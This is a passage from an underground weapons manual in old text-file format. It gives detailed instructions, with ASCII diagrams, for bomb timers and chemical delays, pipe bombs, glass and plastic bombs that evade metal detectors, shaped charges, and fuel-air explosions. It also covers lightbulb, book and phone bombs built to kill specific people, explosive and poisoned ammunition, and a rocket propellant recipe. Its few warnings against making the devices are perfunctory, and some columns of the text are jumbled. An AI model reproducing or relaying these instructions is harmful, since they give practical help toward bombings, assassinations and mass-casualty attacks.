for a maximum time of 12 hours. If an electronic timer is used, such
as that in
an electronic clock, then delays of up to 24 hours are possible. By
removing
the speaker from an electronic clock, and attaching the wires of a
squib or
igniter to them, a timer with a delay of up to 24 hours can be made.
To utilize
this type of timer, one must have a socket that the clock can be
plugged into.
All that one has to do is set the alarm time of the clock to the
desired time,
connect the leads, and go away. This could also be done with an
electronic
watch, if a larger battery were used, and the current to the speaker of
the
watch was stepped up via a transformer. This would be good, since such
a timer
could be extremely small. The timer in a VCR (Video Cassette Recorder)
would
be ideal. VCR's can usually be set for times of up to a week. The
leads from
the timer to the recording equipment would be the ones that an igniter
or squib
would be connected to. Also, one can buy timers from electronics
stores that
would be ideal. Finally, one could employ a digital watch, and use a
relay, or
electro-magnetic switch to fire the igniter, and the current of the
watch would
not have to be stepped up.
4.33
CHEMICAL DELAYS
Chemical delays are uncommon, but they can be extremely effective
in
some cases. If a glass container is filled with concentrated sulfuric
acid,
and capped with several thicknesses of aluminum foil, or a cap that it
will eat
through, then it can be used as a delay. Sulfuric acid will react with
aluminum
foil to produce aluminum sulfate and hydrogen gas, and so the container
must be
open to the air on one end so that the pressure of the hydrogen gas
that is
forming does not break the container.
|
|
|
|
|
|
|_______________|
|
|
|sulfuric
|
|
|
|
|acid
| |
|
|
| |---------- aluminum foil
|
|_______ _______| |
(several thicknesses)
|___________________|
The aluminum foil is placed over the bottom of the container and
secured
there with tape. When the acid eats through the aluminum foil, it can
be used
to ignite an explosive device in several ways.
1) Sulfuric acid is a good conductor of electricity.
If the acid
that
eats through the foil is collected in a glass container placed
underneath the foil, and two wires are placed in the glass
container,
a current will be able to flow through the acid when both of
the
wires are immersed in the acid.
2) Sulfuric acid reacts very violently with potassium chlorate.
If
the acid drips down into a container containing potassium
chlorate,
the potassium chlorate will burst into flame. This flame can
be
used to ignite a fuse, or the potassium chlorate can be the
igniter
for a thermit bomb, if some potassium chlorate is mixed in a
50/50
ratio with the thermit, and this mixture is used as an igniter
for
the rest of the thermit.
3) Sulfuric acid reacts with potassium permangenate in a similar
way.
4.4
EXPLOSIVE CONTAINERS
This section will cover everything from making a simple
firecracker to
a complicated scheme for detonating an insensitive high explosive, both
of which
are methods that could be utilized by perpetrators of terror.
4.41
PAPER CONTAINERS
Paper was the first container ever used for explosives, since it
was
first used by the Chinese to make fireworks. Paper containers are
usually very
simple to make, and are certainly the cheapest. There are many
possible uses
for paper in containing explosives, and the two most obvious are in
firecrackers
and rocket engines. Simply by rolling up a long sheet of paper, and
gluing it
together, one can make a simple rocket engine. Perhaps a more
interesting and
dangerous use is in the firecracker. The firecracker shown here is one
of
Mexican design. It is called a "polumna", meaning "dove". The process
of their
manufacture is not unlike that of making a paper football. If one
takes a sheet
of paper about 16 inches in length by 1.5 inches wide, and fold one
corner so
that it looks like this:
_______________________________________________________
|
|\
|
| \
|
| \
|_____________________________________________________|___\
and then fold it again so that it looks like this:
______________________________________________________
|
/|
|
/ |
|
/ |
|________________________________________________/___|
A pocket is formed. This pocket can be filled with black powder,
pyrodex,
flash powder, gunpowder,rocket engine powder, or any of the quickburning fueloxodizer mixtures that occur in the form of a fine powder. A fuse is
then
inserted, and one continues the triangular folds, being careful not to
spill
out any of the explosive. When the polumna is finished, it should be
taped
together very tightly, since this will increase the strength of the
container,
and produce a louder and more powerful explosion when it is lit. The
finished
polumna should look like a 1/4 inch - 1/3 inch thick triangle, like the
one
shown below:
^
/ \
----- securely tape all corners
\
/
\
/
\
/
\
/
\____________________________
/_____________\__/__/__/__/__/__/__/__/__/
/
4.42
---------- fuse
METAL CONTAINERS
The classic pipe bomb is the best known example of a metalcontained
explosive. Idiot anarchists take white tipped matches and cut off the
match
heads. They pound one end of a pipe closed with a hammer, pour in the
whitetipped matches, and then pound the other end closed. This process
often kills
the fool, since when he pounds the pipe closed, he could very easily
cause
enough friction between the match heads to cause them to ignite and
explode the
unfinished bomb. By using pipe caps, the process is somewhat safer,
and the
less stupid anarchist would never use white tipped matches in a bomb.
He would
buy two pipe caps and threaded pipe (fig. 1). First, he would drill a
hole in
one pipe cap, and put a fuse in it so that it will not come out, and so
powder
will not escape during handling. The fuse would be at least 3/4 an
inch long
inside the bomb. He would then screw the cap with the fuse in it on
tightly,
possibly putting a drop of super glue on it to hold it tight. He would
then
pour his explosive powder in the bomb. To pack it tightly, he would
take a
large wad of tissue paper and, after filling the pipe to the very top,
pack the
powder down, by using the paper as a ramrod tip, and pushing it with a
pencil
or other wide ended object, until it would not move any further.
Finally, he
would screw the other pipe cap on, and glue it. The tissue paper would
help
prevent some of the powder from being caught in the threads of the pipe
or pipe
cap from being crushed and subject to friction, which might ignite the
powder,
causing an explosion during manufacture. An assembled bomb is
presented in
fig. 2.
_________
_______________
__________
| vvvvvv|
^^^^^^
^^^^^^ |vvvvvv |
| |
|_________________________|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
___________________________
| |
| |
|
|
| |
| |^^^^^|
vvvvvv_______________vvvvvv
|^^^^^^ |
|_______|
|________|
fig 1. Threaded pipe and endcaps.
.PA
________
________
| _____|________________________________|_____ |
| |__________________________________________| |
| |: : : : |- - - - - - - - - - - - - - - - -| |
| | tissue | - - - - - - - - - - - - - - - - |_|
| | : : : |- - - low order explosive - - --------------------| | paper | - - - - - - - - - - - - - - - - |-|
| |: : : : |- - - - - - - - - - - - - - - - -| |
| |__________________________________________| |
| |__________________________________________| |
|______|
|______|
endcap
fig. 2
pipe
fuse
endcap
w/ hole
Assembled pipe bomb.
This is one possible design that a mad bomber would use. If,
however,
he did not have access to threaded pipe with endcaps, he could always
use a
piece of copper or aluminum pipe, since it is easily bent into a
suitable
position. A major problem with copper piping, however, is bending and
folding
it without tearing it; if too much force is used when folding and
bending copper
pipe, it will split along the fold. The safest method for making a
pipe bomb
out of copper or aluminum pipe is similar to the method with pipe and
endcaps.
First, one flattens one end of a copper or aluminum pipe carefully,
making sure
not to tear or rip the piping. Then, the flat end of the pipe should
be folded
over at least once, if this does not rip the pipe. A fuse hole should
be
drilled in the pipe near the now closed end, and the fuse should be
inserted.
Next, the bomb-builder would fill the bomb with a low order explosive,
and pack
it with a large wad of tissue paper. He would then flatten and fold
the other
end of the pipe with a pair of pliers. If he was not too dumb, he
would do this
slowly, since the process of folding and bending metal gives off heat,
which
could set off the explosive. A diagram is presented below:
_______________________________________________/
|
|
|______________________________________________
\_______|
fig. 1
________
|
|
o
|
|
pipe with one end flattened and fuse hole drilled (top
view)
.PA
______
____________________________________________/ | |
|
| |
|
o | |
|___________________________________________
| |
\__|__|
fig. 2
pipe with one end flattened and folded up (top view)
____________ fuse hole
|
v
________________________________________ ___ ______
|
\ |____ |
|
\____| |
|
______|
|
/
|___________________________________________/
fig. 3
pipe with flattened and folded end (side view)
_________________ fuse
/
|
________
______________________________|___ _______
| ____|
/
|- - - - - - - - - - - - | - \ |____ |
| |_____/tissue| - - - - - - - - - - - -|- - \_____| |
|________
paper |- - - low order explosive - _______|
\
| - - - - - - - - - - - - - - /
\__________________________________/
fig. 4
completed bomb, showing tissue paper packing and explosive
(side view)
A CO2 cartridge from a B.B gun is another excellent container for
a low-order explosive. It has one minor disadvantage: it is time
consuming
to fill. But this can be rectified by widening the opening of the
cartridge
with a pointed tool. Then, all that would have to be done is to fill
the
CO2 cartridge with any low-order explosive, or any of the fast burning
fueloxodizer mixtures, and insert a fuse. These devices are commonly
called
"crater makers".
A CO2 cartridge also works well as a container for a thermit
incendiary
device, but it must be modified. The opening in the end must be
widened, so
that the ignition mixture, such as powdered magnesium, does not
explode. The
fuse will ignite the powdered magnesium, which, in turn, would ignite
the
thermit.
The previously mentioned designs for explosive devices are fine
for
low-order explosives, but are unsuitable for high-order explosives,
since the
latter requires a shockwave to be detonated. A design employing a
smaller
low-order explosive device inside a larger device containing a highorder
explosive would probably be used. It would look something like:
_______________________
fuse
|
|
|
_________
|
|
____|__________________________|___________|____
|
| * * * * * * * * * * * * * * *|* * * * * * * |
|
| * * * * * * high explosive | * * * * * * * |
|
| * * * * * * * * * * * * * * *|* * * * * * * |
|
| * ______
_______________|_
______ * |
|
| * * | __|
/
- - - - - - | \
|__ | * |
|
| * | |____/
low explosive - \____| | * |
|
| * * |_______ - - - - - - - - - _______| * |
|
| * * * * * \ - - - - - - - - / * * * * * |
|
| * * * * * * \_________________/ * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
| * * * * * * * * * * * * * * * * * * * * * * |
|
|______________________________________________|
|_______|
|_______|
_________
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If the large high explosive container is small, such as a CO2
cartridge,
then a segment of a hollow radio antenna can be made into a low-order
pipe bomb,
which can be fitted with a fuse, and inserted into the CO2 cartridge.
4.43
GLASS CONTAINERS
Glass containers can be suitable for low-order explosives, but
there
are problems with them. First, a glass container can be broken
relatively
easily compared to metal or plastic containers. Secondly, in the
not-too-unlikely event of an "accident", the person making the device
would
probably be seriously injured, even if the device was small. A bomb
made out of
a sample perfume bottle-sized container exploded in the hands of one
boy, and he
still has pieces of glass in his hand. He is also missing the final
segment of
his ring finger, which was cut off by a sharp piece of flying glass...
Nonetheless, glass containers such as perfume bottles can be used
by
a demented individual, since such a device would not be detected by
metal
detectors in an airport or other public place. All that need be done
is fill
the container, and drill a hole in the plastic cap that the fuse fits
tightly
in, and screw the cap-fuse assembly on.
.PA
________________________
|
|
fuse
|
_____|_____
| ___|___ |
| > | < | drill hole in cap, and insert fuse;
| > | < | be sure fuse will not come out of cap
| > | < |
|
|
|
|
|
|
|
|
| screw cap on bottle
|
|
|
|
V
V
________
<
<
<
>
>
>
/
/
\
\
/
\
|
|
|
|
|
|
|
|
|
|
|___________|
fill bottle with low-order explosive
Large explosive devices made from glass containers are not
practicle,
since glass is not an exceptionally strong container. Much of the
explosive
that is used to fill the container is wasted if the container is much
larger
than a 16 oz. soda bottle. Also, glass containers are usually
unsuitable for
high explosive devices, since a glass container would probably not
withstand
the explosion of the initiator; it would shatter before the high
explosive was
able to detonate.
4.44
PLASTIC CONTAINERS
Plastic containers are perhaps the best containers for explosives,
since
they can be any size or shape, and are not fragile like glass. Plastic
piping
can be bought at hardware or plumbing stores, and a device much like
the ones
used for metal containers can be made. The high-order version works
well with
plastic piping. If the entire device is made out of plastic, it is not
detectable by metal detectors. Plastic containers can usually be
shaped by
heating the container, and bending it at the appropriate place. They
can be
glued closed with epoxy or other cement for plastics. Epoxy alone can
be used as
an endcap, if a wad of tissue paper is placed in the piping. Epoxy
with a drying
agent works best in this type of device.
||
||
||
||
||\_____________/||
||
||
||
epoxy
||
||_______________||
||
||
||
tissue
||
||
paper
||
||_______________||
||***************||
||***************||
||***************||
||***************||
||** explosive **||
||***************||
||***********----------------------||***************||
||_______________||
||
||
||
tissue
||
||
paper
||
||_______________||
||
||
||
epoxy
||
|| _____________ ||
||/
\||
||
||
||
||
fuse
One end must be made first, and be allowed to dry completely
before the
device can be filled with powder and fused. Then, with another piece
of tissue
paper, pack the powder tightly, and cover it with plenty of epoxy. PVC
pipe
works well for this type of device, but it cannot be used if the pipe
had an
inside diameter greater than 3/4 of an inch. Other plastic puttys can
be used
int this type of device, but epoxy with a drying agent works best.
4.5
ADVANCED USES FOR EXPLOSIVES
The techniques presented here are those that could be used by a
person
who had some degree of knowledge of the use of explosives. Some of
this
information comes from demolitions books, or from military handbooks.
Advanced
uses for explosives usually involved shaped charges, or utilize a
minimum amount
of explosive to do a maximum amount of damage. They almost always
involve highorder explosives.
4.51
SHAPED CHARGES
A shaped charge is an explosive device that, upon detonation,
directs
the explosive force of detonation at a small target area. This process
can be
used to breach the strongest armor, since forces of literally millions
of pounds
of pressure per square inch can be generated. Shaped charges employ
high-order
explosives, and usually electric ignition systems. KEEP IN MIND THAT
ALL
EXPLOSIVES ARE DANGEROUS, AND SHOULD NEVER BE MADE OR USED!!
.PA
An example of a shaped charge is shown below.
+ wire ________
_
^
|
|
|
|
|
|
|
|
|
|
|
|
8 inches high
_______ - wire
|
|
|
|
|
|
__________|_________|____________
| ________|_________|__________ |
| |
|
|
| |
| |
\ igniter /
| |
| |
\_______/
| |
| |
priming charge
| |
| |
(mercury fulminate)
| |
| |
^
| |
| |
/ \
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
\
| |
| |
/
high
\
| |
|
| |
/
explosive
\
| |
|
| | /
charge
\ | |
|
| | /
\ | |
|
| |/
\| |
|
| |
^
| |
|
| |
/ \
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| |
|
| |
/
\
| | ------- 1/2
inch thick
|
| |
/
\
| |
steel pipe
|
| | /
\ | |
|
| | /
\ | |
|
| |/
\| |
|
hole for
| |
| |
hole
for
|
screw
| |
| |
screw
|
| |
| |
V_______ ___________| |
| |___________
________
|______| |____________|
|_____________|
|______|
|<------- 8 inches -------->|
If a device such as this is screwed to a safe, for example, it
would
direct most of the explosive force at a point about 1 inch away from
the opening
of the pipe. The basis for shaped charges is a cone-shaped opening in
the
explosive material. This cone should have an angle of 45 degrees. A
device
such as this one could also be attached to a metal surface with a
powerful
electromagnet.
4.52
TUBE EXPLOSIVES
A variation on shaped
that
shaped charges cannot. If
filled with
a sensitive high explosive
explosive
container in section 4.44,
produced;
charges, tube explosives can be used in ways
a piece of 1/2 inch plastic tubing was
such as R.D.X., and prepared as the plastic
a different sort of shaped charge could be
a charge that directs explosive force in a circular manner. This type
of
explosive could be wrapped around a column, or a doorknob, or a
telephone pole.
The explosion would be directed in and out, and most likely destroy
whatever
it was wrapped around. In an unbent state, a tube explosive would look
like
this:
||
||
||
||
||\____/||
|| epoxy||
||______||
||
||
||tissue||
|| paper||
||______||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
|| RDX ||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
||******||
|| ____ ||
|| | s| ||
|| | q| ||
|| | u| ||
|| | i| ||
|| | b| ||
|| | b| ||
|| |__| ||
||__||__||
||tissue||
|| paper||
||__||__||
|| || ||
|| epoxy||
|| || ||
|| _||_ ||
||/ || \||
|| || ||
|| || ||
||_______ + wire ______________
|
|________ - wire ______________
When an assassin or terrorist wishes to use a
wrap
it around whatever thing he wishes to destroy, and
the tube
bomb together. After it dries, he/she can connect
wires,
and detonate the bomb, with any method of electric
4.53
tube bomb, he must
epoxy the ends of
wires to the squib
detonation.
ATOMIZED PARTICLE EXPLOSIONS
If a highly flammable substance is atomized, or, divided into very
small
particles, and large amounts of it is burned in a confined area, an
explosion
similar to that occurring in the cylinder of an automobile is produced.
The
tiny droplets of gasoline burn in the air, and the hot gasses expand
rapidly,
pushing the cylinder up. Similarly, if a gallon of gasoline was
atomized and
ignited in a building, it is very possible that the expanding gassed
would push
the walls of the building down. This phenomenon is called an atomized
particle
explosion. If a person can effectively atomize a large amount of a
highly
flammable substance and ignite it, he could bring down a large
building, bridge,
or other structure. Atomizing a large amount of gasoline, for example,
can be
extremely difficult, unless one has the aid of a high explosive. If a
gallon
jug of gasoline was placed directly over a high explosive charge, and
the charge
was detonated, the gasoline would instantly be atomized and ignited.
If this
occurred in a building, for example, an atomized particle explosion
would surely
occur. Only a small amount of high explosive would be necessary to
accomplish
this feat, about 1/2 a pound of T.N.T., or 1/4 a pound of R.D.X.
Also, instead
of gasoline, powdered aluminum could be used. It is necessary that a
high
explosive be used to atomize a flammable material, since a low-order
explosion
does not occur quickly enough to atomize or ignite the flammable
material.
4.54
LIGHTBULB BOMBS
An automatic reaction to walking into a dark room is to turn on
the
light. This can be fatal, if a lightbulb bomb has been placed in the
overhead
light socket. A lightbulb bomb is surprisingly easy to make. It also
comes
with its own initiator and electric ignition system. On some
lightbulbs, the
lightbulb glass can be removed from the metal base by heating the base
of a
lightbulb in a gas flame, such as that of a blowtorch or gas stove.
This must
be done carefully, since the inside of a lightbulb is a vacuum. When
the glue
gets hot enough, the glass bulb can be pulled off the metal base. On
other
bulbs, it is necessary to heat the glass directly with a blowtorch or
oxy-acetylene torch. When the bulb is red hot, a hole must be
carefully poked
in the bulb, remembering the vacuum state inside the bulb. In either
case,
once the bulb and/or base has cooled down to room temperature or lower,
the
bulb can be filled with an explosive material, such as black powder.
If the
glass was removed from the metal base, it must be glued back on to the
base
with epoxy. If a hole was put in the bulb, a piece of duct tape is
sufficient
to hold the explosive in the in the bulb. Then, after making sure that
the
socket has no power by checking with a working lightbulb, all that need
be
done is to screw the lightbulb bomb into the socket. Such a device has
been
used by terrorists or assassins with much success, since nobody can
search the
room for a bomb without first turning on the light.
4.55
BOOK BOMBS
Concealing a bomb can be extremely difficult in a day and age
where
perpetrators of violence run wild. Bags and briefcases are often
searched
by authorities whenever one enters a place where an individual might
intend
to set off a bomb. One approach to disguising a bomb is to build what
is
called a book bomb; an explosive device that is entirely contained
inside of
a book. Usually, a relatively large book is required, and the book
must be of
the hardback variety to hide any protrusions of a bomb. Dictionaries,
law
books, large textbooks, and other such books work well. When an
individual
makes a bookbomb, he/she must choose a type of book that is appropriate
for
the place where the book bomb will be placed. The actual construction
of a
book bomb can be done by anyone who possesses an electric drill and a
coping
saw. First, all of the pages of the book must be glued together. By
pouring
an entire container of water-soluble glue into a large bucket, and
filling
the bucket with boiling water, a glue-water solution can be made that
will
hold all of the book's pages together tightly. After the glue-water
solution
has cooled to a bearable temperature, and the solution has been stirred
well,
the pages of the book must be immersed in the glue-water solution, and
each
page must be thoroughly soaked. It is extremely important that the
covers of
the book do not get stuck to the pages of the book while the pages are
drying.
Suspending the book by both covers and clamping the pages together in a
vice
works best. When the pages dry, after about three days to a week, a
hole must
be drilled into the now rigid pages, and they should drill out much
like wood.
Then, by inserting the coping saw blade through the pages and sawing
out a
rectangle from the middle of the book, the individual will be left with
a shell
of the book's pages. The pages, when drilled out, should look like
this:
________________________
| ____________________ |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |__________________| |
|______________________|
(book covers omitted)
This rectangle must be securely glued to the back cover of the
book.
After building his/her bomb, which usually is of the timer or radio
controlled
variety, the bomber places it inside the book. The bomb itself, and
whatever
timer or detonator is used, should be packed in foam to prevent it from
rolling
or shifting about. Finally, after the timer is set, or the radio
control has
been turned on, the front cover is glued closed, and the bomb is taken
to its
destination.
4.56
PHONE BOMBS
The phone bomb is an explosive device that has been used in the
past
to kill or injure a specific individual. The basic idea is simple:
when the
person answers the phone, the bomb explodes. If a small but powerful
high
explosive device with a squib was placed in the phone receiver, when
the
current flowed through the receiver, the squib would explode,
detonating the
high explosive in the person's hand. Nasty. All that has to be done
is
acquire a squib, and tape the receiver switch down. Unscrew the
mouthpiece
cover, and remove the speaker, and connect the squib's leads where it
was.
Place a high explosive putty, such as C-1 (see section 3.31) in the
receiver,
and screw the cover on, making sure that the squib is surrounded by the
C-1.
Hang the phone up, and leave the tape in place. When the individual to
whom
the phone belongs attempts to answer the phone, he will notice the
tape, and
remove it. This will allow current to flow through the squib. Note
that
the device will not explode by merely making a phone call; the owner of
the
phone must lift up the receiver, and remove the tape. It is highly
probable
that the phone will be by his/her ear when the device explodes...
5.0
SPECIAL AMMUNITION FOR PROJECTILE WEAPONS
Explosive and/or poisoned ammunition is an important part of a
social
deviant's arsenal. Such ammunition gives the user a distinct advantage
over
individual who use normal ammunition, since a grazing hit is good
enough to
kill. Special ammunition can be made for many types of weapons, from
crossbows
to shotguns.
5.1
SPECIAL AMMUNITION FOR PRIMITIVE WEAPONS
For the purposes of this publication, we will call any weapon
primitive
that does not employ burning gunpowder to propel a projectile forward.
This
means blowguns, bows and crossbows, and wristrockets.
5.11
BOW AND CROSSBOW AMMUNITION
Bows and crossbows both fire arrows or bolts as ammunition. It is
extremely simple to poison an arrow or bolt, but it is a more difficult
matter
to produce explosive arrows or bolts. If, however, one can acquire
aluminum
piping that is the same diameter of an arrow or crossbow bolt, the
entire
segment of piping can be converted into an explosive device that
detonates
upon impact, or with a fuse. All that need be done is find an aluminum
tube
of the right length and diameter, and plug the back end with tissue
paper and
epoxy. Fill the tube with any type of low-order explosive or sensitive
highorder explosive up to about 1/2 an inch from the top. Cut a slot in
the piece
of tubing, and carefully squeeze the top of the tube into a round
point, making
sure to leave a small hole. Place a no. 11 percussion cap over the
hole, and
secure it with super glue. Finally, wrap the end of the device with
electrical
or duct tape, and make fins out of tape. Or, fins can be bought at a
sporting
goods store, and glued to the shaft. The finished product should look
like:
_____
|
| ---------- no. 11 percussion cap
||*||
|*|
|*|
|*|
|*|
|*|
|*| ----------- aluminum piping
|*|
|e|
|x|
|p|
|l|
|o|
|s|
|i|
|v|
|e|
|*|
|*|
|*|
|*|
|*|
|*|
|*|
/|_|\
/ |t| \
| |p| |
| |_| |
| |e| | -------- fins
| |p| |
| |y| |
|_|_|_|
|_|
tp: tissue paper
epy: epoxy
When the arrow or bolt strikes a hard surface, the percussion cap
explodes, igniting or detonating the explosive.
5.12
SPECIAL AMMUNITION FOR BLOWGUNS
The blowgun is an interesting weapon which has several advantages.
A blowgun can be extremely accurate, concealable, and deliver an
explosive
or poisoned projectile. The manufacture of an explosive dart or
projectile
is not difficult. Perhaps the most simple design for such involves the
use
of a pill capsule, such as the kind that are taken for headaches or
allergies.
Such a capsule could easily be opened, and the medicine removed. Next,
the
capsule would be re-filled with an impact-sensitive explosive. An
additional
high explosive charge could be placed behind the impact-sensitive
explosive,
if one of the larger capsules were used. Finally, the explosive
capsule would
be reglued back together, and a tassel or cotton would be glued to the
end
containing the high explosive, to insure that the impact-detonating
explosive
struck the target first. Such a device would probably be about 3/4 of
an inch
long, not including the tassel or cotton, and look something like this:
____________________
/mercury |
\----------------------(fulminate|
R.D.X.
)---------------------- } tassels
\________|___________/-----------------------
5.13
SPECIAL AMMUNITION FOR WRISTROCKETS AND SLINGSHOTS
A modern wristrocket is a formidable weapon. It can throw a
shooter
marble about 500 ft. with reasonable accuracy. Inside of 200 ft., it
could well
be lethal to a man or animal, if it struck in a vital area. Because of
the
relatively large sized projectile that can be used in a wristrocket,
the
wristrocket can be adapted to throw relatively powerful explosive
projectiles.
A small segment of aluminum pipe could be made into an impactdetonating device
by filling it with an impact-sensitive explosive material. Also, such
a pipe
could be filled with a low-order explosive, and fitted with a fuse,
which would
be lit before the device was shot. One would have to make sure that
the fuse
was of sufficient length to insure that the device did not explode
before it
reached its intended target. Finally, .22 caliber caps, such as the
kind that
are used in .22 caliber blank guns, make excellent exploding ammunition
for
wristrockets, but they must be used at a relatively close range,
because of
their light weight.
.PA
5.2
SPECIAL AMMUNITION FOR FIREARMS
When special ammunition is used in combination with the power and
rapidity of modern firearms, it becomes very easy to take on a small
army with
a single weapon. It is possible to buy explosive ammunition, but that
can be
difficult to do. Such ammunition can also be manufactured in the home.
There
is, however, a risk involved with modifying any ammunition. If the
ammunition
is modified incorrectly, in such a way that it makes the bullet even
the
slightest bit wider, an explosion in the barrel of the weapon will
occur. For
this reason, NOBODY SHOULD EVER ATTEMPT TO MANUFACTURE SUCH AMMUNITION.
5.21
SPECIAL AMMUNITION FOR HANDGUNS
If an individual wished to produce explosive ammunition for
his/her
handgun, he/she could do it, provided that the person had an impactsensitive
explosive and a few simple tools. One would first purchase all lead
bullets,
and then make or acquire an impact-detonating explosive. By drilling a
hole
in a lead bullet with a drill, a space could be created for the
placement of
an explosive. After filling the hole with an explosive, it would be
sealed
in the bullet with a drop of hot wax from a candle. A diagram of a
completed
exploding bullet is shown below.
_o_ ------------ drop of wax
/|*|\
| |*|-|----------- impact-sensitive explosive
| |_| |
|_____|
This hollow space design also works for putting poison in bullets.
5.22
SPECIAL AMMUNITION FOR SHOTGUNS
Because of their large bore and high power, it is possible to
create
some extremely powerful special ammunition for use in shotguns. If a
shotgun
shell is opened at the top, and the shot is removed, the shell can be
re-closed.
Then, if one can find a very smooth, lightweight wooden dowel that is
close to
the bore width of the shotgun, a person can make several types of
shotgun-launched weapons. Insert the dowel in the barrel of the
shotgun with the
shell without the shot in the firing chamber. Mark the dowel about six
inches
away from the end of the barrel, and remove it from the barrel. Next,
decide
what type of explosive or incendiary device is to be used. This device
can be a
chemical fire bottle (see sect. 3.43), a pipe bomb (sect 4.42), or a
thermit bomb
(sect 3.41 and 4.42). After the device is made, it must be securely
attached to
the dowel. When this is done, place the dowel back in the shotgun.
The bomb or
incendiary device should be on the end of the dowel. Make sure that
the device
has a long enough fuse, light the fuse, and fire the shotgun. If the
projectile
is not too heavy, ranges of up to 300 ft are possible. A diagram of a
shotgun
projectile is shown below.
____
|| |
|| |
|| | ----- bomb, securely taped to dowel
|| |
||__|
|| |
|| | ------- fuse
|| |
||
||
||
|| --------- dowel
||
||
||
||
||
|| --------- insert this end into shotgun
5.3
SPECIAL AMMUNITION FOR COMPRESSED AIR/GAS WEAPONS
This section deals with the manufacture of special ammunition for
compressed air or compressed gas weapons, such as pump B.B guns, CO2
B.B guns,
and .22 cal pellet guns. These weapons, although usually thought of as
kids
toys, can be made into rather dangerous weapons.
5.31
SPECIAL AMMUNITION FOR B.B GUNS
A B.B gun, for this manuscript, will be considered any type of
rifle
or pistol that uses compressed air or CO2 gas to fire a projectile with
a caliber
of .177, either B.B, or lead pellet. Such guns can have almost as high
a muzzle
velocity as a bullet-firing rifle. Because of the speed at which a
.177 caliber
projectile flies, an impact detonating projectile can easily be made
that has a
caliber of .177. Most ammunition for guns of greater than .22 caliber
use
primers to ignite the powder in the bullet. These primers can be
bought at gun
stores, since many people like to reload their own bullets. Such
primers
detonate when struck by the firing pin of a gun. They will also
detonate if
they are thrown at a hard surface at a great speed. Usually, they will
also fit
in the barrel of a .177 caliber gun. If they are inserted flat end
first, they
will detonate when the gun is fired at a hard surface. If such a
primer is
attached to a piece of thin metal tubing, such as that used in an
antenna, the
tube can be filled with an explosive, be sealed, and fired from a B.B
gun. A
diagram of such a projectile appears below.
_____ primers _______
|
|
|
|
|
|
V
V
______
______
| ________________________ |------------------| ****** explosive ******* |------------------- } tassel or
| ________________________ |------------------cotton
|_____
_____|------------------^
|
|
|_______ antenna tubing
The front primer is attached to the tubing with a drop of super
glue.
The tubing is then filled with an explosive, and the rear primer is
glued on.
Finally, a tassel, or a small piece of cotton is glued to the rear
primer, to
insure that the projectile strikes on the front primer. The entire
projectile
should be about 3/4 of an inch long.
5.32
SPECIAL AMMUNITION FOR .22 CALIBER PELLET GUNS
A .22 caliber pellet gun usually is equivalent to a .22 cal rifle,
at
close ranges. Because of this, relatively large explosive projectiles
can be
adapted for use with .22 caliber air rifles. A design similar to that
used in
section 5.12 is suitable, since some capsules are about .22 caliber or
smaller.
Or, a design similar to that in section 5.31 could be used, only one
would have
to purchase black powder percussion caps, instead of ammunition
primers, since
there are percussion caps that are about .22 caliber. A #11 cap is too
small,
but anything larger will do nicely.
6.0
ROCKETS AND CANNONS
Rockets and cannon are generally thought of as heavy artillery.
Perpetrators of violence do not usually employ such devices, because
they are
difficult or impossible to acquire. They are not, however, impossible
to make.
Any individual who can make or buy black powder or pyrodex can make
such things.
A terrorist with a cannon or large rocket is, indeed, something to
fear.
6.1
ROCKETS
Rockets were first developed by the Chinese several hundred years
before Christ. They were used for entertainment, in the form of
fireworks.
They were not usually used for military purposes because they were
inaccurate,
expensive, and unpredictable. In modern times, however, rockets are
used
constantly by the military, since they are cheap, reliable, and have no
recoil.
Perpetrators of violence, fortunately, cannot obtain military rockets,
but they
can make or buy rocket engines. Model rocketry is a popular hobby of
the space
age, and to launch a rocket, an engine is required. Estes, a
subsidiary of
Damon, is the leading manufacturer of model rockets and rocket engines.
Their
most powerful engine, the "D" engine, can develop almost 12 lbs. of
thrust;
enough to send a relatively large explosive charge a significant
distance.
Other companies, such as Centuri, produce even larger rocket engines,
which
develop up to 30 lbs. of thrust. These model rocket engines are quite
reliable,
and are designed to be fired electrically. Most model rocket engines
have
three basic sections. The diagram below will help explain them.
__________________________________________________________
|_________________________________________________________| -cardboard
\ clay | - - - - - - - - - - | * * * | . . . .|c|
casing
\_______| - - - - - - - - - | * * * | . . . |l|
_______ - - - thrust - - - | smoke | eject |a|
/ clay | - - - - - - - - - | * * * | . . . .|y|
/________|_____________________|_______|________|_|_______
|________________________________________________________| -cardboard
casing
The clay nozzle is where the igniter is inserted. When the area
labeled
"thrust" is ignited, the "thrust" material, usually a large single
grain of a
propellant such as black powder or pyrodex, burns, forcing large
volumes of hot,
rapidly expanding gasses out the narrow nozzle, pushing the rocket
forward.
After the material has been consumed, the smoke section of the engine
is
ignited. It is usually a slow-burning material, similar to black
powder that
has had various compounds added to it to produce visible smoke, usually
black,
white, or yellow in color. This section exists so that the rocket will
be seen
when it reaches its maximum altitude, or apogee. When it is burned up,
it
ignites the ejection charge, labeled "eject". The ejection charge is
finely
powdered black powder. It burns very rapidly, exploding, in effect.
The
explosion of the ejection charge pushes out the parachute of the model
rocket.
It could also be used to ignite the fuse of a bomb...
Rocket engines have their own peculiar labeling system. Typical
engine
labels are: 1/4A-2T, 1/2A-3T, A8-3, B6-4, C6-7, and D12-5. The letter
is an
indicator of the power of an engine. "B" engines are twice as powerful
as "A"
engines, and "C" engines are twice as powerful as "B" engines, and so
on. The
number following the letter is the approximate thrust of the engine, in
pounds.
the final number and letter is the time delay, from the time that the
thrust
period of engine burn ends until the ejection charge fires; "3T"
indicates a
3 second delay.
NOTE: an extremely effective rocket propellant can be made by mixing
aluminum
dust with ammonium perchlorate and a very small amount of iron
oxide.
The mixture is bound together by an epoxy.
6.11
